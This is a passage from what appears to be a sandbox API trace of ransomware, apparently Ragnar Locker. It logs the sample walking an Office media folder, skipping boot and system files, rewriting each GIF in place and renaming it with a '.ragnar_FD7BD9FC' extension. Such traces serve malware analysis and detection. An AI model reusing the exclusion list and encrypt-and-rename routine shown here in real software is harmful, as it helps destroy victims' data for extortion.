liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.061] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb4, lpOverlapped=0x0) returned 1 [0099.061] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.061] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.061] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb4, lpOverlapped=0x0) returned 1 [0099.061] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.061] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.062] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.062] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.062] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.062] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.062] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.062] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.062] GetProcessHeap () returned 0x580000 [0099.062] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.062] CloseHandle (hObject=0x10c) returned 1 [0099.062] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" [0099.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.ragnar_FD7BD9FC" [0099.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.078] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79e600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa79e600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14833_.GIF", cAlternateFileName="")) returned 1 [0099.078] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.078] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14833_.GIF" | out: lpString1="BD14833_.GIF") returned="BD14833_.GIF" [0099.078] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF") returned=".GIF" [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="autorun.inf") returned 1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="boot.ini") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="bootfont.bin") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="bootsect.bak") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="bootmgr") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="bootmgr.efi") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="desktop.ini") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="iconcache.db") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="ntldr") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="ntuser.dat") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="ntuser.ini") returned -1 [0099.078] lstrcmpiW (lpString1="BD14833_.GIF", lpString2="thumbs.db") returned -1 [0099.078] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.078] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.079] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.079] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.079] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.079] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.079] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif")) returned 0x20 [0099.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.080] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=178) returned 1 [0099.080] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.080] GetProcessHeap () returned 0x580000 [0099.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.080] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.081] VirtualAlloc (lpAddress=0x0, dwSize=0xb2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.081] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.081] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.081] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb2, lpOverlapped=0x0) returned 1 [0099.081] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.081] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb2, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.081] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb2, lpOverlapped=0x0) returned 1 [0099.081] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.081] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.082] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.082] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.082] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.082] GetProcessHeap () returned 0x580000 [0099.082] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.082] CloseHandle (hObject=0x10c) returned 1 [0099.082] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" [0099.082] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.ragnar_FD7BD9FC" [0099.082] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.084] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1796d500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0099.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.084] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14866_.GIF" | out: lpString1="BD14866_.GIF") returned="BD14866_.GIF" [0099.084] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF") returned=".GIF" [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="autorun.inf") returned 1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="boot.ini") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="bootfont.bin") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="bootsect.bak") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="bootmgr") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="bootmgr.efi") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="desktop.ini") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="iconcache.db") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="ntldr") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="ntuser.dat") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="ntuser.ini") returned -1 [0099.084] lstrcmpiW (lpString1="BD14866_.GIF", lpString2="thumbs.db") returned -1 [0099.084] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.085] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif")) returned 0x20 [0099.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.086] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=501) returned 1 [0099.086] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.086] GetProcessHeap () returned 0x580000 [0099.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.086] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.087] VirtualAlloc (lpAddress=0x0, dwSize=0x1f5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.087] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.087] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.087] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f5, lpOverlapped=0x0) returned 1 [0099.087] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.087] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.087] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f5, lpOverlapped=0x0) returned 1 [0099.087] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.087] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.088] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.088] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.088] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.088] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.088] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.088] GetProcessHeap () returned 0x580000 [0099.088] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.088] CloseHandle (hObject=0x10c) returned 1 [0099.088] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" [0099.088] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.ragnar_FD7BD9FC" [0099.088] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.089] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0099.089] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.089] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14867_.GIF" | out: lpString1="BD14867_.GIF") returned="BD14867_.GIF" [0099.089] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF") returned=".GIF" [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="autorun.inf") returned 1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="boot.ini") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="bootfont.bin") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="bootsect.bak") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="bootmgr") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="bootmgr.efi") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="desktop.ini") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="iconcache.db") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="ntldr") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="ntuser.dat") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="ntuser.ini") returned -1 [0099.089] lstrcmpiW (lpString1="BD14867_.GIF", lpString2="thumbs.db") returned -1 [0099.089] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.089] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.090] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.090] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.090] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.090] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.090] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif")) returned 0x20 [0099.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.090] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=253) returned 1 [0099.090] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.090] GetProcessHeap () returned 0x580000 [0099.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.090] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.091] VirtualAlloc (lpAddress=0x0, dwSize=0xfd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.091] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.091] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.091] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xfd, lpOverlapped=0x0) returned 1 [0099.092] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 